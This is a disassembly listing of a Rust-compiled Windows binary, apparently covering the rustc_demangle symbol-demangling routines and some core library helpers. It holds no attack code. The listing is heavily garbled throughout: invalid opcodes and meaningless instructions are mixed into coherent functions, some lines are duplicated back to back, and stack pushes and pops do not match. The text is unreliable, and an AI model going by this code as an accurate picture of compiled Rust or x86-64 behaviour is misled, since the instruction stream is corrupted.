add byte [rcx - 1], cl
ret 0x394c
invalid
cmp esi, edx
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x48], cl
sal dword [rbp + 0x5a], 0x4c
mov dword [rbp], esp
leave
add byte [rax - 0x74b77f80], 0x4d
invalid
add byte [rbx - 0x75], cl
or r15, rax
sub esi, ecx
and esi, esp
adc byte [rbp + 0x39], cl
add byte gs:[rbp + rcx*4 + 0x56], cl
invalid
mov eax, 0x80808080
add byte [rax - 0x7f7f7f80], 0x80
shl byte [rsi + 0x66], cl
nop word cs:[rax + rax]
invalid
sal byte [rbp - 0xe], 1
add eax, 0x458b4c00
invalid
lea r8, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrarycore_src_strpattern.rs
int3
test byte [rax], al
mov eax, 4
int3
lea rdx, [0x14015f9b8]
mov r8d, 0x19
call fcn.1400093e0
mov dil, 1
add dword [rax + rax*8 + 0x42a850f], eax
add byte [rax], al
add dword [rax + rax*8 + 0x42a850f], eax
add byte [rax], al
mov ecx, esi
call fcn.1400d0ce0
mov rbx, rax
test bl, 1
je 0x1400cfc72
test dl, bh
add byte [rax], al
invalid
test dl, bh
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
test ebx, 0x100
add byte [rdi], cl
test ebx, ebp
add al, byte [rax]
invalid
and dil, r14b
ret
add byte [rdi], cl
test ebx, ebp
add al, byte [rax]
add byte [rax - 0x7b], cl
leave
test rcx, rcx
je 0x1400cfe95
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
add dword [rcx], 0
add byte [rdi], cl
mov dh, 0x5d
int1
int1
add al, byte [rax]
add byte [rax - 0x7b], cl
leave
add eax, 0xb7400000
add ecx, ebp
invalid
invalid
and byte [rax - 0x7b], cl
leave
je 0x1400cfc39
lea rdx, [0x14015f5c8]
mov r8d, 2
call fcn.1400093e0
test al, al
jne 0x1400cff7c
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400cfc5c
lea rdx, [0x14015f682]
mov rcx, rsi
add byte [rax], al
test rcx, rcx
je 0x1400cfe95
lea rdx, [0x14015f9b8]
mov r8d, 0x19
sal byte [rdi + rax*2 + 0x48], 0x8d
adc eax, 0x8f957
add dword [rax], eax
add byte [rax], al
mov ecx, dword [rcx + 0x10]
cmp r9, r11
jae 0x1400d020b
cmp byte [r10 + r9], 0x5f
jne 0x1400d020b
lea rax, [r9 + 1]
mov qword [rcx + 0x10], rax
xor eax, eax
dec r9
cmp rax, r9
jae 0x1400d02f9
jmp 0x1400d02ba
xor eax, eax
mov edi, 0x3e
mov rsi, r9
invalid
nop word cs:[rax + rax]
nop dword [rax + rax]
invalid
nop dword [rax + rax]
cmp rsi, r11
cmp esi, ebx
jae 0x1400d02f9
movzx edx, byte [r10 + rsi]
cmp dl, 0x5f
je 0x1400d02a2
lea ebx, [rdx - 0x30]
cmp bl, 0xa
jb 0x1400d0261
pop rdx
rol byte [rax + 0x26720afb], 1
lea ebx, [rdx - 0x61]
cmp bl, 0x1a
jae 0x1400d0250
add dl, 0xa9
jmp 0x1400d025f
lea ebx, [rdx - 0x41]
cmp bl, 0x1a
jae 0x1400d02f9
add dl, 0xe3
mov ebx, edx
inc rsi
mov qword [rcx + 0x10], rsi
mul rdi
jo 0x1400d02f9
movzx edx, bl
add rax, rdx
jae 0x1400d0220
jmp 0x1400d02f9
inc rsi
mov qword [rcx + 0x10], rsi
cmp rax, 0xffffffffffffffff
je 0x1400d02f9
inc rax
dec r9
cmp rax, r9
jae 0x1400d02f9
mov edx, dword [rcx + 0x18]
inc edx
mov r9, qword [rcx + 0x20]
cmp edx, 0x1f4
jbe 0x1400d033c
test r9, r9
je 0x1400d0376
lea rdx, [0x14015f9b8]
mov r8d, 0x19
mov eax, 0x19
mov eax, 0x19
mov rsi, rcx
mov rcx, r9
call fcn.1400093e0
nop
dec dword [rax - 0x77]
int1
nop
dec dword [rax - 0x77]
int1
mov edx, eax
mov al, 1
test dl, dl
jne 0x1400d0333
jmp 0x1400d0327
mov rax, qword [rcx + 0x20]
test rax, rax
je 0x1400d0325
and byte [rax - 0x7b], cl
sal byte [rbx + riz + 0x48], 0x8d
adc eax, 0x8f69f
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
mov rsi, rcx
mov rcx, rax
call fcn.1400093e0
mov edx, eax
mov al, 1
test dl, dl
jne 0x1400d0333
mov rcx, rsi
xor eax, eax
mov qword [rcx], 0
mov byte [rcx + 8], al
xor eax, eax
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop rbp
ret
test r9, r9
je 0x1400d0331
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rbp - 0x10], xmm1
movaps xmmword [rbp - 0x20], xmm0
mov qword [rcx + 0x10], rax
mov dword [rcx + 0x18], edx
mov edx, r8d
and dl, 1
mov rsi, rcx
call fcn.1400cfa80
movaps xmm0, xmmword [rbp - 0x20]
movaps xmm1, xmmword [rbp - 0x10]
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
jmp 0x1400d0333
mov al, 1
jmp 0x1400d0327
lodsd eax, dword [rsi]
lodsd eax, dword [rsi]
int3
rol byte [rdx], 0x49
mov dword [rax + 0x10], eax
xor eax, eax
jmp 0x1400d044b
xor eax, eax
mov byte [rcx], al
pop rdi
pop rsi
pop rbp
ret
adc eax, 0x48c0ff48
cmp eax, 0xffffffff
je 0x1400d0457
inc rax
mov qword [rcx + 8], rax
jmp 0x1400d03cb
mov byte [rcx + 1], 0
mov al, 1
jmp 0x1400d03cd
adc byte [rax - 0x49], al
add dword [rcx + 0x39], ecx
invalid
ror dword [rdi], 0x82
or byte [rcx], al
add byte [rax], al
mov qword [r10 + 0x10], r9
cmp r9, rsi
ja 0x1400d063c
cmp r8, rsi
jae 0x1400d0551
cmp byte [r11 + r8], 0xbf
jle 0x1400d0650
cmp r9, rsi
jae 0x1400d0561
cmp byte [r11 + r9], 0xbf
jle 0x1400d0650
invalid
add byte [rbx - 0x73], cl
adc al, 3
lea rdx, [r11 + r8]
test dil, dil
je 0x1400d05b8
lea r10, [r8 + r11]
dec r10
mov r9, rax
nop word cs:[rax + rax]
sbb byte [rcx - 1], cl
retf 0x8949
test r9, r9
je 0x1400d05d1
mov r8, r9
dec r9
cmp byte [r10 + r8], 0x5f
jne case.0x140097fb5.676
test r9, r9
je 0x1400d05e7
cmp r9, rax
jae 0x1400d05dc
cmp byte [rdx + r9], 0xbf
jg 0x1400d05e7
jmp 0x1400d0667
mov qword [rcx], rdx
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], 1
mov qword [rcx + 0x18], 0
jmp 0x1400d0647
mov r8d, 1
xor r9d, r9d
jmp 0x1400d0626
jne 0x1400d0667
test r8, r8
je 0x1400d0617
cmp r8, rax
jae 0x1400d05f8
cmp byte [rdx + r8], 0xbf
jle 0x1400d05fd
mov r10, r8
jmp 0x1400d061a
mov r10, rax
je 0x1400d061a
lea rcx, str._rust_deps_rustc_demangle_0.1.24_src_v0.rs
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
mov r9, rax
call fcn.140122bb0
xor r10d, r10d
sub rax, r10
add r10, rdx
mov r8, rdx
mov rdx, r10
test rax, rax
je 0x1400d063c
mov qword [rcx], r8
mov qword [rcx + 8], r9
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
jmp 0x1400d0647
mov byte [rcx + 8], 0
mov qword [rcx], 0
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rax, str._rust_deps_rustc_demangle_0.1.24_src_v0.rs
mov qword [rsp + 0x20], rax
mov rcx, r11
mov rdx, rsi
call fcn.140122bb0
lea rcx, str._rust_deps_rustc_demangle_0.1.24_src_v0.rs
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
call fcn.140122bb0
int3
push r12
push rsi
push rdi
push rbx
sub rsp, 0x278
lea rbp, [rsp + 0x80]
mov rsi, rdx
mov r12, rcx
lea rcx, [rbp - 0x60]
mov r8d, 0x200
xor edx, edx
call fcn.140121d00
mov rcx, qword [r12 + 0x18]
and al, 0x18
and al, 0x18
mov qword [rbp + 0x1b8], rcx
test rcx, rcx
je 0x1400d0802
mov qword [rbp + 0x1c0], rsi
mov dword [rbp + 0x1c0], esi
mov rax, qword [r12 + 0x10]
mov qword [rbp + 0x1c8], rax
movzx r8d, byte [rax]
mov rcx, qword [r12]
mov rax, qword [r12 + 8]
test rax, rax
mov qword [rbp + 0x1a8], rcx
mov qword [rbp + 0x1a0], rax
je 0x1400d082d
add rax, rcx
xor edi, edi
nop word cs:[rax + rax]
movzx r11d, byte [rcx]
movzx edx, r11b
test dl, dl
js 0x1400d0750
inc rcx
cmp rdi, 0x80
add byte [rax], al
add byte [rdi], cl
invalid
mov ah, 0
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
test dword [rax + rax - 0x74170000], esi
add al, 0
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
jmp 0x1400d0bcc
mov r9d, edx
and r9d, 0x1f
movzx esi, byte [rcx + 1]
and esi, 0x3f
cmp dl, 0xdf
cli
fbstp tbyte [rsi + 0x4c]
cli
fbstp tbyte [rsi + 0x4c]
movzx r10d, byte [rcx + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x1400d07cb
movzx edx, byte [rcx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and edx, 0x3f
or edx, r10d
or edx, r9d
cmp edx, 0x110000
je 0x1400d082f
add rcx, 4
cmp rdi, 0x80
add al, 0x48
cmp edi, 0x80
jne 0x1400d07f0
jmp 0x1400d0bcc
add rcx, 2
shl r9d, 6
or r9d, esi
mov edx, r9d
cmp rdi, 0x80
jne 0x1400d07f0
jmp 0x1400d0bcc
add rcx, 3
shl r9d, 0xc
or r10d, r9d
mov edx, r10d
cmp rdi, 0x80
je 0x1400d0bcc
nop word cs:[rax + rax]
mov dword [rbp + rdi*4 - 0x60], edx
inc rdi
cmp rcx, rax
jne 0x1400d0720
test dword [rax], esp
invalid
invalid
invalid
test dword [rax], esp
invalid
jmp 0x1400d082f
mov rdx, qword [r12]
mov r8, qword [r12 + 8]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
xor edi, edi
mov rax, qword [rbp + 0x1b8]
mov r13, qword [rbp + 0x1c8]
add rax, r13
mov qword [rbp + 0x1b0], rax
lea rax, [rdi*4 + 4]
mov qword [rbp + 0x1d8], rax
mov rax, rdi
not rax
mov qword [rbp + 0x1d0], rax
lea rax, [rdi + 1]
mov qword [rbp + 0x1f0], rax
lea r12, [rbp + rdi*4 - 0x6c]
xchg esp, eax
mov eax, 0x2bc
mov qword [rbp + 0x1e8], rax
mov r14d, 0x48
mov ebx, 0x80
mov edx, 0x1a
xor r9d, r9d
ror byte [rax + 1], cl
ret
add byte [rax + 1], cl
ror dword [rdi], 0x82
cmp dword [rdx], eax
add byte [rax], al
invalid
and al, 0x4c
mov eax, eax
stc
add dword [rax], eax
add byte [rax - 0x77], cl
fmul dword [rax - 0x3f]
call 0x12c9218fd
in al, dx
in al, dx
add dword [rax], eax
add byte [rcx - 0x27ffca28], cl
add al, bl
add al, bl
add byte [rax], al
add byte [rdi], cl
xchg ebp, edx
add dword [rax], eax
add byte [rax - 0x7f], cl
sti
add byte [rax], al
adc dword [rax], eax
mov ebx, dword [rbp + 0x1f0]
cli
add byte [rax], 0
add byte [rdx + 0x7b], dh
jb 0x1400d0ac4
clc
sub eax, ecx
add byte [rbx + 0xf], al
adc byte [rsp + rcx*4 - 0x14], al
mov word [rbx + 0xf], es
adc dword [rsp + rcx*4 - 0x10], eax
add byte [rax], al
add byte [rax], al
cmp eax, edx
enter 0xffffffffffffc148, 0xffffffffffffffe8
and byte [rcx + rdx + 0x48], dh
adc dword [rax - 0x77], ecx
invalid
adc dword [rax - 0x77], ecx
enter 0xffffffffffffd231, 0x48
div dword [rbp + 0x1e8]
enter 0xffffffffffffd231, 0xfffffffffffffff7
mov ch, 0xe8
add dword [rax], eax
add byte [rcx - 0x6274b33f], cl
movabs al, byte [0xf8094cc88948ea0e]
ret 0x148
xor ecx, ecx
and al, 0x48
cmp ecx, 0x3e57
invalid
add dword [rax], eax
add byte [rbx - 0x3c], dh
invalid
add al, 0x95
xchg ebp, eax
add byte [rax], al
add byte [rax], al
rol byte [rbx - 0x76b7d93e], 0xd1
movzx esi, ax
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
add dword [rax], eax
add byte [rcx + rcx*4 - 1], cl
mov rdi, r15
add byte [rax], al
invalid
cld
invalid
mov ecx, esi
int1
xor byte [rax - 0x73], cl
adc eax, 0x8ebb8
mov eax, 0x410008eb
mov eax, 1
sal byte [rbp + 0x1a], 0x4c
mov ecx, esi
add byte [rax - 0x77], cl
idiv edi
invalid
invalid
pop rbp
pop rsi
int1
pop rbp
movabs al, byte [0x66000001d8b58b4c]
mov ch, 0xd8
add dword [rax], eax
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
ret
jmp case.0x1400b3268.209
add byte [rcx + rcx*4 - 0x2f], cl
cmpsb byte [rsi], byte [rdi]
sbb byte [0x10cd9d8dd], al
add eax, 0xcccccc00
int3
mov eax, dword [rcx + 0x10]
inc eax
adc byte [r13 + 0x1a3cbf42], cl
or eax, edx
xchg edx, eax
ror byte [rax - 0x46], 0
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx], dl
add byte [rax + 0xf], cl
ror dword [rax + 9], 1
ror dword [rax + 9], 1
mov eax, dword [rcx]
cmp ecx, eax
sbb dword [rdi], ecx
xchg dword [rdx + 0x45000000], ebx
movzx ecx, cl
leave
mov edi, 0x4503bcfb
bt edx, ecx
and byte [rax - 0x7b], cl
shl ecx, 3
add byte [rbp - 0x75], cl
add al, 1
mov dword [rsi + 0x18], ecx
add byte [rax], al
movzx ecx, bl
add byte [rax + rax*8 - 0x74b7ac8b], al
and byte [rax - 0x7b], r9b
leave
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
add byte [rax], al
test byte [rbx], dh
add dword [rax], eax
add byte [rax - 0x75], cl
adc byte [rax + 0x3b], r9b
cmp eax, dword [rsi + 8]
jae 0x1400d117c
cmp byte [rcx + rax], 0x4c
jne 0x1400d117c
mov ebx, dword [rbp]
add byte [rax], al
xor ebx, 0xffffffff
int1
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x7b], r9b
leave
add al, ch
invalid
add byte cs:[rax], al
invalid
and byte [rax - 0x7b], r9b
leave
add dword [rax], eax
add byte [rax], al
inc dword [rax + rax*8 - 0x20f7af1]
invalid
or byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
adc byte [rax], al
or dword [rax], eax
add byte [rax - 0x49], al
mov dil, 1
test al, al
invalid
test dword [rcx - 3], edx
invalid
and byte [rax - 0x7b], r9b
or byte [rax], al
add dword [rdx - 0x3f7b000d], eax
inc dword [rax + 0x267452fb]
add dword [rax + rax*8 - 0x30f7af1], eax
invalid
leave
add byte [rax], al
add al, ch
xchg edx, eax
xor ebx, 0x1b740ff
inc dword [rax - 0x49]
invalid
ror byte [rdi], 0x85
mov esp, 0x48fffffc
cld
invalid
dec dword [rax - 0x39]
invalid
add byte [rax], al
add byte [rax], al
invalid
cld
push rsi
push rdi
push rbx
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
sbb ecx, dword [rax - 0x75]
and byte [r8 - 0x7b], r9b
test ecx, ecx
mov ecx, edi
invalid
invalid
test eax, eax
adc al, 0x31
imul bl
adc byte [rsi + 1], bh
add byte [rax], al
add bl, ch
or dword [rax - 1], ecx
ror dword [rax - 0x77], 0x4f
mov qword [rdi + 0x10], rcx
xor esi, esi
mov rax, rsi
int3
sub esp, 0x28
lea rbp, [rsp + 0x20]
xor al, byte [rcx + 0xf]
add rax, 2
mov dword [rcx + 0x10], eax
retf 0x6473
ret 0xeba9
test eax, 0x728d0ceb
mov edi, 0x1afe8040
cmp sil, 0x1a
inc edx
sal byte [rbp + 0xd], cl
add byte [rcx], dh
ror byte [rax - 0x7d], 0xc4
sub byte [rsi + 0x5d], bl
pop rsi
pop rbp
int3
invalid
add dword [rbp - 0x7b], ecx
cmp al, 0x43
cmp byte [rax + rcx], 0x6e
cmp al, 8
outsb dx, byte [rsi]
and byte [rax - 0x7b], r9b
add dword [rax + rax*8 + 0x224850f], eax
add dword [rdi], ecx
adc byte [rbx - 0x7bf0ac08], al
xor eax, eax
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop rbp
ret
invalid
and byte [rcx + rax - 0x3f], cl
mov qword [rax], rcx
mov qword [rax + 8], r10
jmp 0x1400d21c1
add rsp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
pop rdi
xlatb
or byte [rax], al
mov qword [rsp + 0x20], rax
and al, 0x20
call fcn.140122bb0
int3
push rsi
push rsi
push rdi
push rbx
sub rsp, 0xb0
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
lea rbp, [rsp + 0x80]
mov rsi, rdx
mov rdi, rcx
mov qword [rsp + 0x20], 1
lea r9, [0x14015f7da]
lea rbx, [rbp - 0x50]
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.14000da80
lea r14, [rbp + 0x18]
nop word cs:[rax + rax]
mov rcx, r14
mov rdx, rbx
call fcn.1400d3680
mov rax, qword [rbp + 0x18]
test rax, rax
je 0x1400d2230
cmp eax, 1
jne 0x1400d2267
mov rcx, qword [rbp + 0x20]
mov rax, rsi
sub rax, rcx
cmp rax, 0x10
ja 0x1400d2276
mov eax, 1
cmp rsi, rcx
jne 0x1400d2286
xor edx, edx
jmp 0x1400d2278
mov rcx, rsi
mov rax, rsi
sub rax, rcx
cmp rax, 0x10
jbe 0x1400d2259
xor eax, eax
add rsp, 0xb0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
add rsi, rdi
add rcx, rdi
xor edx, edx
mov r8d, 0xffffffff
jmp 0x1400d22b2
invalid
sbb al, 0x66
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov r9, rdx
shl r9, 4
mov edx, r10d
or rdx, r9
cmp rcx, rsi
je 0x1400d2278
invalid
mov byte [rdi + rcx - 0x4a], 0x19
movzx r11d, byte [rcx]
movzx r9d, r11b
test r9b, r9b
js 0x1400d22e0
inc rcx
lea r10d, [r9 - 0x30]
cmp r10d, 0xa
jb 0x1400d22a0
jmp 0x1400d2380
mov r10d, r9d
and r10d, 0x1f
movzx edi, byte [rcx + 1]
and edi, 0x3f
cmp r9b, 0xdf
jbe 0x1400d233b
movzx r9d, byte [rcx + 2]
shl edi, 6
and r9d, 0x3f
or r9d, edi
cmp r11b, 0xf0
jb 0x1400d2359
movzx r11d, byte [rcx + 3]
add rcx, 4
and r10d, 7
shl r10d, 0x12
shl r9d, 6
and r11d, 0x3f
or r11d, r9d
or r11d, r10d
mov r9d, r11d
lea r10d, [r9 - 0x30]
cmp r10d, 0xa
jb 0x1400d22a0
jmp 0x1400d2380
add rcx, 2
shl r10d, 6
or r10d, edi
mov r9d, r10d
lea r10d, [r9 - 0x30]
cmp r10d, 0xa
jb 0x1400d22a0
jmp 0x1400d2380
add rcx, 3
shl r10d, 0xc
or r9d, r10d
lea r10d, [r9 - 0x30]
cmp r10d, 0xa
jb 0x1400d22a0
nop word cs:[rax + rax]
or r9d, 0x20
add r9d, 0xffffff9f
add r9d, 0xa
cmovb r9d, r8d
mov r10d, r9d
cmp r9d, 0x10
jb 0x1400d22a0
lea rcx, str._rust_deps_rustc_demangle_0.1.24_src_v0.rs
call fcn.140122a00
int3
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov edx, 0x22
call qword [rax + 0x20]
mov edx, 0x110000
test al, al
jne 0x1400d24d5
cmp edx, 0x22
je 0x1400d23fc
cmp edx, 0x110000
je 0x1400d24e6
mov rcx, rbx
call fcn.1400d2fc0
cmp r14b, byte [rbp - 0x10]
jno 0x1400d2490
mov r15b, 0x80
jmp 0x1400d2464
mov edx, dword [rbp - 0xc]
mov dword [rbp - 8], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rbp - 0x10], 0
xor r15d, r15d
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
call qword [rax + 0x20]
test al, al
jne 0x1400d24d5
mov eax, r15d
neg al
jo 0x1400d2440
movzx eax, byte [rbp - 6]
cmp al, byte [rbp - 5]
jae 0x1400d24c0
movzx ecx, al
inc al
mov byte [rbp - 6], al
movzx edx, byte [rbp + rcx - 0x10]
jmp 0x1400d2455
movzx r15d, byte [rbp - 5]
movzx r12d, byte [rbp - 6]
nop word [rax + rax]
cmp r12, r15
jae 0x1400d24c0
movzx edx, byte [rbp + r12 - 0x10]
inc r12
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
call qword [rax + 0x20]
test al, al
je 0x1400d24a0
jmp 0x1400d24d5
mov edx, 0x110000
cmp edx, 0x22
jne 0x1400d241e
jmp 0x1400d23fc
mov eax, edi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x20]
mov edx, 0x27
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
jmp rax
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov rdi, rcx
iretd
mov rcx, qword [rcx]
test rcx, rcx
iretd
je 0x1400d2691
mov rdx, qword [rdi + 8]
mov edx, dword [rdi + 8]
mov r14, qword [rdi + 0x10]
mov r8, r14
nop
cmp r8, rdx
jae 0x1400d2662
mov rbx, r8
movzx eax, byte [rcx + r8]
inc r8
mov qword [rdi + 0x10], r8
lea r9d, [rax - 0x30]
cmp r9b, 0xa
setb r9b
lea r10d, [rax - 0x61]
cmp r10b, 6
setb r10b
or r10b, r9b
jne 0x1400d2540
cmp al, 0x5f
jne 0x1400d2662
mov r12, rbx
sub r12, r14
jb 0x1400d279c
test r14, r14
je 0x1400d2599
cmp byte [rcx + r14], 0xbf
jle 0x1400d279c
test r12b, 1
jne 0x1400d2662
add rbx, rcx
add r14, rcx
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 2
lea rsi, [rbp - 0x30]
nop dword [rax]
mov rcx, rsi
call fcn.1400d2bb0
cmp eax, 0x110000
jb 0x1400d25d0
cmp eax, 0x110001
jne 0x1400d2662
mov r15, qword [rdi + 0x20]
test r15, r15
je 0x1400d26bc
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
mov edx, 0x22
call qword [rax + 0x20]
mov sil, 1
test al, al
jne 0x1400d26be
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 2
lea rcx, [rbp - 0x30]
call fcn.1400d2bb0
cmp eax, 0x110001
jne 0x1400d26d1
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
mov rax, qword [rax + 0x20]
mov edx, 0x22
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp rax
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x1400d2684
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.1400093e0
mov sil, 1
test al, al
jne 0x1400d26be
mov qword [rdi], 0
mov byte [rdi + 8], 0
jmp 0x1400d26bc
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x1400d26bc
lea rdx, [0x14015f9d1]
mov r8d, 1
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp fcn.1400093e0
xor esi, esi
mov eax, esi
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rdi, [rbp - 0x30]
lea rbx, [rbp - 8]
xor r14d, r14d
cmp eax, 0x110000
je 0x1400d27b3
cmp eax, 0x27
jne 0x1400d2714
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
mov edx, 0x27
call qword [rax + 0x20]
test al, al
jne 0x1400d26be
mov rcx, rdi
call fcn.1400d2bb0
cmp eax, 0x110001
jne 0x1400d26dc
jmp 0x1400d263e
mov rcx, rbx
mov edx, eax
call fcn.1400d2fc0
cmp r14b, byte [rbp - 8]
jno 0x1400d2770
mov r12b, 0x80
jmp 0x1400d2751
mov edx, dword [rbp - 4]
mov dword [rbp], 0
mov qword [rbp - 8], 0
xor r12d, r12d
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
call qword [rax + 0x20]
test al, al
jne 0x1400d26be
mov eax, r12d
neg al
jo 0x1400d2729
movzx eax, byte [rbp + 2]
cmp al, byte [rbp + 3]
jae 0x1400d2700
movzx ecx, al
inc al
mov byte [rbp + 2], al
movzx edx, byte [rbp + rcx - 8]
jmp 0x1400d273e
movzx r12d, byte [rbp + 3]
movzx r13d, byte [rbp + 2]
cmp r13, r12
jae 0x1400d2700
movzx edx, byte [rbp + r13 - 8]
inc r13
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
call qword [rax + 0x20]
test al, al
je 0x1400d277a
jmp 0x1400d26be
lea rax, str._rust_deps_rustc_demangle_0.1.24_src_v0.rs
mov qword [rsp + 0x20], rax
mov r8, r14
mov r9, rbx
call fcn.140122bb0
lea rax, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrarycore_srcops_function.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14015f460]
lea r8, [rbp - 8]
mov edx, 0x2b
call fcn.140122900
int3
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
jae 0x1400d2984
cmp byte [r8 + rax], 0x45
je 0x1400d2b76
test r15, r15
je 0x1400d29c0
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400d29c0
mov r8d, 2
lea rdx, [0x14015f9d9]
call fcn.1400093e0
test al, al
jne 0x1400d2b31
mov r8, qword [rsi]
test r8, r8
je 0x1400d2a62
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
jae 0x1400d2aa0
cmp byte [r8 + rax], 0x73
jne 0x1400d2aa0
lea rcx, [rax + 1]
mov qword [rsi + 0x10], rcx
cmp rcx, r9
jae 0x1400d29f5
cmp byte [r8 + rcx], 0x5f
jne 0x1400d29f5
add rax, 2
mov qword [rsi + 0x10], rax
jmp 0x1400d2aa0
xor eax, eax
nop word [rax + rax]
cmp rcx, r9
jae 0x1400d2b12
movzx edx, byte [r8 + rcx]
cmp dl, 0x5f
je 0x1400d2a91
lea r10d, [rdx - 0x30]
cmp r10b, 0xa
jb 0x1400d2a44
lea r10d, [rdx - 0x61]
cmp r10b, 0x1a
jae 0x1400d2a30
add dl, 0xa9
jmp 0x1400d2a41
lea r10d, [rdx - 0x41]
cmp r10b, 0x1a
jae 0x1400d2b12
adc esp, 0
add byte [rax], al
adc esp, 0
add byte [rax], al
add dl, 0xe3
mov r10d, edx
inc rcx
mov qword [rsi + 0x10], rcx
mul r12
in al, 0xf
invalid
invalid
add byte [rax], al
add byte [rax], al
in al, 0xf
cmp byte [rsi + 0x41000000], 0xf
add byte [rax], al
movzx edx, r10b
add byte [rax], al
movzx edx, r10b
add rax, rdx
jae 0x1400d2a00
jmp 0x1400d2b12
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400d2b43
mov r8d, 1
lea rdx, [0x14015f9d1]
call fcn.1400093e0
mov ecx, eax
mov eax, 1
test cl, cl
je 0x1400d2b01
jmp 0x1400d2b45
inc rcx
mov qword [rsi + 0x10], rcx
cmp rax, 0xfffffffffffffffd
ja 0x1400d2b12
nop
mov rcx, rdi
mov rdx, rsi
call fcn.1400d0470
cmp qword [rbp - 0x18], 0
je 0x1400d2b56
movups xmm0, xmmword [rbp - 0x18]
movups xmm1, xmmword [rbp - 8]
call 0x1385a3acd
movaps xmmword [rbp - 0x30], xmm1
movaps xmmword [rbp - 0x40], xmm0
mov r13, qword [rsi + 0x20]
and byte [rbp - 0x7b], cl
in eax, dx
and byte [rbp - 0x7b], cl
in eax, dx
je 0x1400d2af3
mov rcx, rbx
mov rdx, r13
call fcn.1400d0690
test al, al
jne 0x1400d2b31
mov r8d, 2
add byte [rax], al
mov rcx, r13
mov rdx, r14
call fcn.1400093e0
invalid
invalid
test al, al
jne 0x1400d2b31
inc dword [rax + rax*8 - 0x76b7c18b]
int1
mov rcx, rsi
mov dl, 1
call fcn.1400d1440
test al, al
jne 0x1400d2b31
mov r8, qword [rsi]
inc r15
invalid
test r8, r8
ror byte [rdi], 0x85
pop rsp
invalid
invalid
invalid
invalid
ror byte [rdi], 0x85
pop rsp
invalid
jmp 0x1400d2b43
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400d2b38
